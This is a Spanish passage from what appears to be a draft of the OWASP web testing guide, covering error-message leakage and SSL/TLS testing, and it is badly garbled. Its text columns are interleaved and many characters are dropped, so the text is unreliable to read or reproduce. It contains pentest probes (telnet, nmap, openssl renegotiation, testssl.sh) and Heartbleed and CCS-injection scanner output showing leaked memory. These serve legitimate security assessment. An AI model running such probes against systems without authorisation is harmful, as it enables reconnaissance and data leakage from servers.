Amit Klein: HTTP Request Smuggling - ERRATA (the IIS 48K buffer Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at
phenomenon): securityfocus.com localhost Port 80
Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: HTTP Request Este mensaje de error puede generarse por solicitar una URL no
Smuggling: cgisecurity.com existente. Despus del mensaje comn que muestra una pgina no
encontrada, hay informacin sobre la versin del servidor web, sistema
operativo, mdulos y otros productos utilizados. Esta informacin puede
ser muy importante desde el punto de vista de identificar el tipo y versin
Pruebas de errores de cdigo (OTG-ERR-001)
del sistema operativo y aplicaciones.
Resumen
Los errores de base de datos son devueltos por el sistema de base de no maneja la excepcin de una forma controlada. Esto puede ser causado
datos cuando hay un problema con la consulta o la conexin. Cada por un problema de resolucin del nombre de la base de datos,
sistema de base de datos, como MySQL, Oracle o MSSQL, tiene su propio procesamiento de valores variable inesperados u otros problemas de red.
conjunto de errores. Esos errores pueden proporcionar informacin
confidencial como las IP del servidor de base de datos, tablas, columnas y
datos de inicio de sesin.
Considere el escenario donde tenemos un portal de administracin de base de
datos, que puede utilizarse como un front-end GUI para emitir consultas de
base de datos, crear tablas y modificar campos de bases de datos. Durante el
Adems, hay muchas tcnicas de explotacin de inyeccin SQL que POST de las credenciales de inicio de sesin, el siguiente mensaje de error se
utilizan los mensajes de error detallados desde el controlador de la base presenta en las pruebas de penetracin. El mensaje indica la presencia de un
de datos. Para informacin ms detallada sobre este tema vea Pruebas de servidor de base de datos MySQL:
inyecciones de SQL (OTG-INPVAL-005).
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access Si vemos en el cdigo HTML de la pgina de inicio de sesin la presencia de
denied un campo oculto con una IP de una base de datos, podemos intentar cambiar
este valor en la URL con la direccin de un servidor de base de datos bajo el
control de evaluadores de penetracin, en un intento de engaar a la
aplicacin para que piense que la conexin fue exitosa.
Qu pas? A continuacin vamos a explicarlo paso a paso.
Otro ejemplo: sabiendo cul es el servidor de base de datos que sirve a una
En este ejemplo, el 80004005 es un cdigo de error IIS genrico que aplicacin web, podemos aprovechar esta informacin para llevar a cabo una
indica que no pudo establecer una conexin con su base de datos inyeccin de SQL para ese tipo de base de datos o una prueba XSS
asociada. En muchos casos, el mensaje de error detalla el tipo de base de persistente.
datos. A menudo esto le indicar el sistema operativo subyacente por
asociacin. Con esta informacin, el evaluador de penetracin puede
planear una estrategia adecuada para la prueba de seguridad.
Cmo probar
Date: Sat, 04 Nov 2006 15:26:48 GMT Prueba: 400 Bad Request
... Resultado:
<address>Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at <host target> Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Port 80</address>
Vary: Accept-Encoding
Content-Length: 301
Prueba:
Connection: close
Problemas de red que llevan a que la aplicacin no pueda acceder al servidor de
bases de datos Content-Type: text/html; charset=iso-8859-1
...
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host <address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
127.0.1.1 Port 80</address>
...
Prueba:
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch <address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
<host target> Port 80</address>
Allow: GET, HEAD, POST, OPTIONS
...
Vary: Accept-Encoding
Content-Length: 315
Prueba: 501 Method Not Implemented
Connection: close
telnet <host target> 80
Content-Type: text/html; charset=iso-8859-1
RENAME /index.html HTTP/1.1
...
Host: <host target>
<title>405 Method Not Allowed</title>
<CRLF><CRLF>
...
Prueba: 408 Request Time-out Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
-Wait X seconds (Depending on the target server, 21 seconds for Apache by Content-Length: 299
default)
Connection: close
Connection: close
... http://<host>/<dir>
Herramientas
<customErrors defaultRedirect=myerrorpagedefault.aspx
ErrorMint : sourceforge.net mode=On|Off|RemoteOnly>
Referencias </customErrors>
[RFC2616] ietf.org
End Sub
Handles MyBase.Error
Description: HTTP 404. The resource you are looking for (or one of its
dependencies) could have been removed, had its name
Jerarqua de errores en ASP .net
Si el servidor devuelve
Los administradores del sitio pueden gestionar sus propios errores con el
The page cannot be found archivo .htaccess si la directiva global AllowOverride est configurada
correctamente en apache2.conf [3]
http:\\www.mywebserver.com\anyrandomname.aspx Tomcat es un servidor HTTP para alojar aplicaciones JSP y Java Servlet. Por
defecto Tomcat muestra la versin del servidor en las respuestas de error
HTTP.
Si el servidor devuelve
<error-code>404</error-code> Todas las pruebas anteriores podran llevar a errores de aplicacin que pueden
contener restos de pila de datos. Se recomienda utilizar un comprobador
<location>/myerrorpagefor404.html</location> aleatorio adicional a cualquier prueba manual.
</error-page>
Resumen
Los rastros de pilas de datos no son vulnerabilidades por s mismas, pero a Pruebas de Caja Gris
menudo revelan informacin que es interesante para un atacante. Los
atacantes intentan generar estos rastros de pila de datos mediante la alteracin Buscar el cdigo para las comunicaciones que causan una excepcin
del ingreso a la aplicacin web con peticiones HTTP con formato incorrecto y representada en una cadena o secuencia de salida. Por ejemplo, en Java podra
otros datos de ingreso. ser cdigo en JSP que se ve asi:
Hay una variedad de tcnicas que pueden provocar que mensajes de excepcin Herramientas
se enven en una respuesta HTTP. Tenga en cuenta que en la mayora de los
casos se trata de una pgina HTML, pero las excepciones se pueden enviar ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_
como parte de las respuestas SOAP o REST tambin.
Attack_Proxy_Project
Acceso a pginas internas sin autenticacin. Los datos sensibles deben ser protegidos cuando se transmiten a travs de la
red. Dichos datos pueden incluir credenciales y tarjetas de crdito del usuario.
Esquivar el flujo de la aplicacin. Como regla general, si los datos se deben proteger cuando se almacenan, se
deben proteger tambin durante la transmisin.
Aunque los cifrados de alto nivel se apoyan hoy en da y son utilizados SSL/TLS Ciphers/Protocols/Keys dbiles
normalmente, algn error de configuracin en el servidor puede utilizarse para
forzar el uso de un cifrado dbil - o, en el peor caso, ningn cifrado - Histricamente, ha habido limitaciones determinadas por el gobierno de Estados
permitiendo a un atacante acceder al canal de comunicacin supuestamente Unidos, que permiten la exportacin del cifrado slo de un tamao de hasta 40
seguro. Otras configuraciones errneas pueden usarse para un ataque de bits, una longitud de clave que podra ser rota y permitira el descifrado de
negacin de servicio. comunicaciones. Desde entonces, las regulaciones de exportacin criptogrfica se
han allanado a un tamao de clave mximo de 128 bits.
Asuntos comnes
Es importante comprobar que la configuracin de SSL ha sido usada para evitar la
Se produce una vulnerabilidad si se utiliza el protocolo HTTP para transmitir puesta en marcha del soporte criptogrfico que podra ser fcilmente derrotado.
informacin sensible [2] (e.g. credenciales transmitidas en HTTP [3]). Para alcanzar este objetivo, los servicios basados en SSL no deberan ofrecer la
posibilidad de escoger una suite de cifrado dbil. Una suite de cifrado se especifica
mediante un protocolo de cifrado (por ejemplo, DES, RC4, AES), la longitud de
cifrado de clave (por ejemplo, 40, 56 o 128 bits) y un algoritmo de hash (SHA,
La presencia de un servicio SSL/TLS es buena, pero aumenta la superficie de MD5) utilizado para verificar la integridad.
ataque y pueden existir las siguientes vulnerabilidades:
Brevemente, los puntos clave para la determinacin de la suite de cifrado son las
Los protocolos SSL/TLS, cifrados, claves y renegociacin, deben estar siguientes:
correctamente configurados.
La presencia tanto de HTTP como HTTPS, lo cual se puede utilizar tambin para
interceptar trfico [7], [8].
Es posible (por ejemplo, por medio de las directivas de configuracin)
La presencia de contenido mezclado de HTTPS y HTTP en la misma pgina, lo especificar qu suites de cifrado el servidor obedecer. De esta manera, usted
cual puede usarse para filtrar informacin. puede controlar si las conversaciones con los clientes aceptarn solamente un
cifrado de 40 bits.
[2] El servidor enva un mensaje ServerHelloDone y espera una respuesta del Qu pasa si el nombre en el certificado y el nombre del servidor no coinciden?
cliente. Si esto sucede, puede sonar sospechoso. Por varias razones, esto no es tan raro
de ver. Un sistema puede albergar un nmero de hosts virtuales basados en el
nombre, que comparten la misma direccin IP y se identifican mediante el HTTP
1.1 Host: header information. En este caso, puesto que el protocolo de enlace
[3] Al recibir el mensaje de ServerHelloDone, el cliente verifica la validez del
SSL comprueba el certificado del servidor antes de que se procese la peticin
certificado digital del servidor.
HTTP, no es posible asignar certificados diferentes a cada servidor virtual. Por
lo tanto, si el nombre del sitio y el nombre registrado en el certificado no
coinciden, tenemos una condicin que tpicamente se seala por parte del
navegador. Para evitar esto, deben utilizarse servidores virtuales basados en IP.
Para que la comunicacin se establezca, se debe pasar una serie de controles
[33] y [34] describen tcnicas para lidiar con este problema y permitir que los
sobre los certificados. Aunque hablar de la autenticacin basada en SSL y
hosts virtuales basados en el nombre estn correctamente referenciados.
certificados est ms all del alcance de esta gua, esta seccin se centrar en
los principales criterios involucrados en determinar la validez del certificado:
Otras vulnerabilidades
Compruebe si la autoridad de certificacin (CA) es conocida (es decir, una que
La presencia de un nuevo servicio, que escucha en un puerto tcp separado, puede
se considera de confianza);
generar vulnerabilidades tales como las de infraestructura si el software no est
actualizado [4]. Adems, para la correcta proteccin de datos durante la
Compruebe que el certificado es vlido;
transmisin, la Cookie de sesin debe usar la bandera de seguridad [5] y algunas
directivas deben enviarse al navegador para aceptar slo trfico seguro (HSTS
Compruebe que el nombre del sitio y el nombre registrado en el certificado
[6], CSP).
concuerden.
Tambin hay algunos ataques que pueden utilizarse para interceptar el trfico si
Vamos a examinar cada comprobacin ms detalladamente.
el servidor web expone la solicitud HTTP y HTTPS [6], [7] o en el caso de
recursos HTTP y HTTPS mezclados en la misma pgina.
Cmo probar Al momento de escribir este documento, estos criterios son ampliamente
reconocidos como una lista de verificacin mnima:
Prueba de transmisin de datos sensibles en texto claro
Ejemplo 1. Autenticacin bsica en HTTP La renegociacin debe estar configurada correctamente (por ejemplo: Insecure
Renegotiation debe desactivarse, debido a ataques MiTM [12] y las
Un ejemplo tpico es el uso de autenticacin bsica en HTTP porque con la renegociaciones iniciadas por el cliente deben desactivarse, debido a la
autenticacin bsica, despus de iniciar sesin, las credenciales son vulnerabilidad de Negacin de Servicio [13]).
codificadas - y no cifradas - en las cabeceras HTTP.
No deben haber suites de nivel de cifrado Export (EXP), debido a que puede ser
$ curl -kis http://example.com/restricted/ fcilmente roto [10].
HTTP/1.1 401 Authorization Required La longuitud de claves de los certificados X.509 deben ser fuertes (por ejemplo si
se utiliza RSA o DSA la clave debe ser de al menos 2048 bits).
Date: Fri, 01 Aug 2013 00:00:00 GMT
Los certificados X.509 deben firmarse nicamente con algoritmos de hashing
WWW-Authenticate: Basic realm=Restricted Area seguros (por ejemplo. sin firma al usar MD5 hash, debido a a ataques de colisin
en este hash).
Accept-Ranges: bytes
Las claves deben generarse con la correcta entropa (e.g, Claves dbiles generadas
Vary: Accept-Encoding con Debian) [14].
Content-Length: 162
<body bgcolor=white> MD5 no debe usarse, debido a los ataques de colisin conocidos. [35]
<h1>401 Authorization Required</h1> RC4 no debe usarse, debido a los ataques cripto-analticos [15].
PCI-DSS v2.0 en el punto 4.1 requiere que las partes compatibles utilicen
La gran cantidad de suites de cifrado disponible y el rpido progreso en
criptografa fuerte sin definir precisamente los algoritmos y longitudes de las
criptoanlisis hacen de las pruebas del servidor SSL una tarea nada trivial.
claves. La interpretacin comn, basada parcialmente en las versiones anteriores de
la norma, es que el cifrado de la clave sea de al menos 128 bits, sin algoritmos de 22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
exportacin fuertes y sin usar SSLv2 [19].
25/tcp open smtp syn-ack Exim smtpd 4.80
Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] y
SSL Threat Model [20] han sido propuestos para estandarizar la configuracin y 26/tcp open smtp syn-ack Exim smtpd 4.80
evaluacin de servidor SSL. Pero est menos actualizada que SSL Server tool [21].
80/tcp open http syn-ack
OWASP tiene un gran cantidad de recursos para SSL/TLS Security [22], [23],
[24], [25]. [26]. 110/tcp open pop3 syn-ack Dovecot pop3d
Algunas herramientas y escneres tanto libres (por ejemplo SSLAudit [28] o 143/tcp open imap syn-ack Dovecot imapd
SSLScan [29]) como comerciales (por ejemplo Tenable Nessus [27]), pueden
utilizarse para evaluar las vulnerabilidades SSL/TLS. Pero debido a la evolucin de 443/tcp open ssl/http syn-ack Apache
estas vulnerabilidades, una buena manera de probar es comprobar manualmente
con openssl [30] o utilice las herramientas de salida como ingreso para la 465/tcp open ssl/smtp syn-ack Exim smtpd 4.80
evaluacin manual usando las referencias.
993/tcp open ssl/imap syn-ack Dovecot imapd
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com Host is up (0.090s latency).
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST rDNS record for 127.0.0.1: www.example.com
| ciphers: | compressors:
| ciphers: | compressors:
| ciphers: | compressors:
| TLS_RSA_WITH_RC4_128_SHA - strong Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
| compressors:
| ssl-enum-ciphers: ---
| ciphers: 0 s:******
| compressors: 2 s:******
| NULL i:******
Server certificate
-----BEGIN CERTIFICATE----- Ahora el evaluador puede escribir la primera lnea de una solicitud HTTP y
luego R en una nueva lnea.
******
HEAD / HTTP/1.1
-----END CERTIFICATE-----
R
subject=******
issuer=******
El servidor renegocia
---
RENEGOTIATING
No client certificate CA names sent
depth=2 C******
---
verify error:num=20:unable to get local issuer certificate
SSL handshake has read 3558 bytes and written 640 bytes
verify return:0
---
HEAD / HTTP/1.1
Compression: NONE
Expansion: NONE
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource
SSL-Session:
Locator (URL). Contact the server administrator. )
Protocol : TLSv1
Connection: close
Cipher : DES-CBC3-SHA
Pragma: no-cache
Session-ID: ******
Cache-Control: no-cache
Session-ID-ctx:
Content-Type: text/html
Master-Key: ******
Content-Length: 1792
Key-Arg : None
Against SSL/TLS) aprovecha una vulnerabilidad de CBC en TLS 1.0. CRIME DHE_RSA_WITH_3DES_EDE_CBC_SHA
(Compression Ratio Info-leak Made Easy) explota una vulnerabilidad de la
compresin de TLS, que debe deshabilitarse. Lo interesante es que la primera RSA_WITH_AES_128_CBC_SHA
solucin para BEAST era el uso de RC4, pero esto ahora no es aconsejable debido
a los ataque criptoanalticos a RC4 [15]. DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
Una herramienta en lnea para comprobar estos ataques es SSL Labs, pero puede DHE_RSA_WITH_AES_256_CBC_SHA
ser utilizada slo con servidores de internet. Tambin tome en cuenta que los datos
que se buscan se almacenarn en el servidor SSL Labs y tambin resultar alguna RSA_WITH_AES_128_CBC_SHA256
conexin de servidor de SSL Labs [21].
RSA_WITH_AES_256_CBC_SHA256
$ java -jar TestSSLServer.jar www3.example.com 443
RSA_WITH_CAMELLIA_128_CBC_SHA
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
Deflate compression: no
DHE_RSA_WITH_AES_128_CBC_SHA256
Supported cipher suites (ORDER IS NOT SIGNIFICANT):
DHE_RSA_WITH_AES_256_CBC_SHA256
SSLv3
RSA_WITH_CAMELLIA_256_CBC_SHA
RSA_WITH_RC4_128_SHA
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
RSA_WITH_3DES_EDE_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_128_GCM_SHA256
DHE_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_256_GCM_SHA384
RSA_WITH_AES_256_CBC_SHA
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
DHE_RSA_WITH_AES_256_CBC_SHA
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
RSA_WITH_CAMELLIA_128_CBC_SHA
----------------------
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
Server certificate(s):
RSA_WITH_CAMELLIA_256_CBC_SHA
******
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
----------------------
TLS_RSA_WITH_SEED_CBC_SHA
Minimal encryption strength: strong encryption (96-bit or more)
TLS_DHE_RSA_WITH_SEED_CBC_SHA
Achievable encryption strength: strong encryption (96-bit or more)
(TLSv1.0: idem)
BEAST status: vulnerable
(TLSv1.1: idem)
CRIME status: protected
TLSv1.2
RSA_WITH_RC4_128_SHA
Ejemplo 6. Prueba de vulnerabilidades SSL/TLS con sslyze
RSA_WITH_3DES_EDE_CBC_SHA
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
255
Guia de pruebas 4.0 "Borrador"
Sslyze [33] es un python script que permite el escaneo masivo y resultados XML. Client-initiated Renegotiations: Rejected
El siguiente es un ejemplo de un escaneo normal. Es una de las herramientas ms
completas y verstiles para SSL/TLS testing Secure Renegotiation: Supported
* Certificate :
REGISTERING AVAILABLE PLUGINS Validation w/ Mozillas CA Store: Certificate is NOT Trusted: unable to
get local issuer certificate
-----------------------------
Hostname Validation: MISMATCH
PluginSessionRenegotiation
Common Name: www.example.com
PluginCertInfo
Issuer: ******
PluginSessionResumption
Serial Number: ****
PluginOpenSSLCipherSuites
Not Before: Sep 26 00:00:00 2010 GMT
PluginCompression
Not After: Sep 26 23:59:59 2020 GMT
* OCSP Stapling :
* Session Renegotiation :
------------------------
SSLv2 NOT offered (ok)
SSLv3 offered
Ejemplo 7. Prueba SSL/TLS con testssl.sh
TLSv1 offered (ok)
Testssl.sh [38] es un shell script de Linux que proporciona un resultado claro para
facilitar la toma de decisiones. No solo puede revisar servidores web, pero tambin TLSv1.1 offered (ok)
servicios en otros puertos, soporta STARTTLS, SNI, SPDY y realiza algunas
revisiones en los encabezados HTTP tambin. TLSv1.2 offered (ok)
Es una herramienta muy fcil de usar. A continuacin ver algunos ejemplos de SPDY/NPN not offered
resultados (sin colores):
########################################################
Null Cipher NOT offered (ok)
testssl.sh v2.0rc3 (https://testssl.sh)
Anonymous NULL Cipher NOT offered (ok)
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)
Anonymous DH Cipher NOT offered (ok)
USO SIN NINGUNA GARANTIA. USELO BAJO SU PROPIO RIESGO! Export Cipher (general) NOT offered (ok)
Note que solo puede revisar el servidor comparandolo con lo que est DES Cipher NOT offered (ok)
disponible (codificadores/protocolos) localmente en su maquina
Triple DES Cipher offered
########################################################
Medium grade encryption offered
myhost:/<mypath>/bin/openssl64
--> Probando el servidor por defecto (Server Hello)
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
258
Guia de pruebas 4.0 "Borrador"
no PFS available
TLS server extensions: server name, renegotiation info, session ticket, Done now (2014-04-17 15:07) ---> owasp.org:443 <---
heartbeat
El RC4 parece generalmente disponible. Ahora pruebe cifrados especficos... Adems, proporciona un prototipo (va "testssl.sh -V") del mapeo de nombres
de suites de cifrado RFC a OpenSSL. El evaluador necesita el archivo
mapping-rfc.txt en el mismo directorio.
[0x05] RC4-SHA RSA RC4 128 Esta herramienta [99] es una combinacin de varias herramientas con algunas
comprobaciones adicionales para complementar y hacer a las pruebas ms
completas SSL. Soporta los siguientes controles:
HeartBleed
ChangeCipherSpec Injection
--> Probando respuestas de encabezados HTTP
BREACH
BEAST
HSTS no
Forward Secrecy support
Server Apache
RC4 support
Application (None)
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
259
Guia de pruebas 4.0 "Borrador"
CRIME & TIME (si se detecta CRIME, tambin se reporta TIME) Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)
HSTS: Duracin razonable de MAX-AGE Public key: Sun RSA public key, 1024 bits
HTTPS Stripping
Cache-Control =====================================
Certificate Validation:
===============================
Host Info: [!] Signed using Insufficient public key length 1024 bits
Host : localhost [!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java
ROOT CAs.
Port : 443
Path : /login.php
=====================================
Certificate Info:
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...
==================
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
vulnerable over SSLv3
[-] Displaying response (lines consisting entirely of null bytes are removed):
[-] Closing connection
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
[-] Connecting to 127.0.0.1:443 using TLSv1.0
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
[-] Sending ClientHello
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[-] ServerHello received
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!..
[-] Sending Heartbeat
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&..(.).*.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2. vulnerable over TLSv1.0
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:. [-] Displaying response (lines consisting entirely of null bytes are removed):
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>[email protected].
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
vulnerable over TLSv1.1
[-] Displaying response (lines consisting entirely of null bytes are removed):
[-] Closing connection
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
[-] Connecting to 127.0.0.1:443 using TLSv1.2
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
[-] Sending ClientHello
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[-] ServerHello received
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!..
[-] Sending Heartbeat
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&..(.).*.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2. vulnerable over TLSv1.2
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
262
Guia de pruebas 4.0 "Borrador"
[-] Displaying response (lines consisting entirely of null bytes are removed):
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&..(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
=====================================
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>[email protected].
Loading module: CCS Injection script by TripWire VERT ...
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m............. (CVE-2014-0224) ...
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!..#.$.%.&..
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../. [!] The target may allow early CCS on TLSv1.2
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7. [!] The target may allow early CCS on TLSv1.1
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. [!] The target may allow early CCS on TLSv1
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. [!] The target may allow early CCS on SSLv3
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. [-] This is an experimental detection script and does not definitively determine
vulnerable server status.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
=====================================
[*] HTTP Compression: DISABLED
HTTP/1.1 200 OK
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 --------------- RAW HTTP RESPONSE ---------------
X-Powered-By: PHP/5.4.7
</head>
<body> <html>
<body> =====================================
<script src=http://othersite/test.js></script>
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive
information will be leaked.
=====================================
[!] Vulnerability Status: VULNERABLE
Checking localhost for HTTP support against HTTPS Stripping attack ...
-------------------------------------------------
[!] HTTP Support on port [80] : SUPPORTED
- Ref:
https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-
===================================== AUTHN-006)
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx
=====================================
[!] Vulnerable to MITM malicious content injection attack Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie
missing secure flag) ...
[!] Vulnerability Status: VULNERABLE
--------------- RAW HTTP RESPONSE --------------- [!] Vulnerable to MITM attack described in
HTTP/1.1 200 OK
X-Powered-By: PHP/5.4.7
Content-Length: 193
Content-Type: text/html
=====================================
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY [*] Immune from BEAST attack mentioned in
support ... http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have
compromised private keys. =====================================
=====================================
https://www.thc.org/thc-ssl-dos/ TLS_ECDH_anon_WITH_RC4_128_SHA
TLS_ECDH_anon_WITH_AES_256_CBC_SHA
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - (TLSv1.2: same as above)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
=====================================
[*] SSL version 2 : NOT SUPPORTED
TLS_RSA_WITH_AES_256_GCM_SHA384
Supported LANE cipher suites:
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
SSLv3
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
RSA_EXPORT_WITH_RC4_40_MD5
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
RSA_EXPORT_WITH_RC2_CBC_40_MD5
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
RSA_EXPORT_WITH_DES40_CBC_SHA
RSA_WITH_DES_CBC_SHA
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
[*] GCM/CCM ciphers : SUPPORTED
DHE_RSA_WITH_DES_CBC_SHA
[*] Immune from Lucky13 attack mentioned in
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
267
Guia de pruebas 4.0 "Borrador"
http://www.isg.rhul.ac.uk/tls/Lucky13.html
[*] Vulnerability Status: No Estos controles deben aplicarse a todos los canales de comunicacin SSL-
wrapped visibles utilizados por la aplicacin. Aunque este es el servicio https
que generalmente se ejecuta en el puerto 443, puede haber servicios
adicionales involucrados dependiendo de la arquitectura de las aplicaciones
===================================== web y de los problemas de implementacin (si queda un puerto HTTPS
administrativo abierto, servicios HTTPS en puertos no estndar, etc.).
Haga clic sobre el candado que aparece en la ventana del navegador cuando
visita un sitio HTTPS; los evaluadores pueden consultar informacin
relacionada con el certificado que incluye al emisor, el perodo de validez, las
caractersticas de cifrado, etc.
El mensaje emitido por Firefox es diferente. Firefox se queja porque no puede La victima se registra en una pgina web segura https://somesecuresite/.
determinar la identidad del sitio .com al que el certificado se refiere porque no
conoce la CA que firm el certificado. La pgina web segura emite una cookie de sesin cuando el cliente se
conecta.
Advertencia emitida por Mozilla Firefox [1] Revise si el sitio web soporta protocolos HTTP y HTTPS.
Como se mencion anteriormente, existen otros tipos de vulnerabilidades que SSL Strip
no estn relacionadas con el protocolo SSL/TLS utilizado, las suites de cifrado
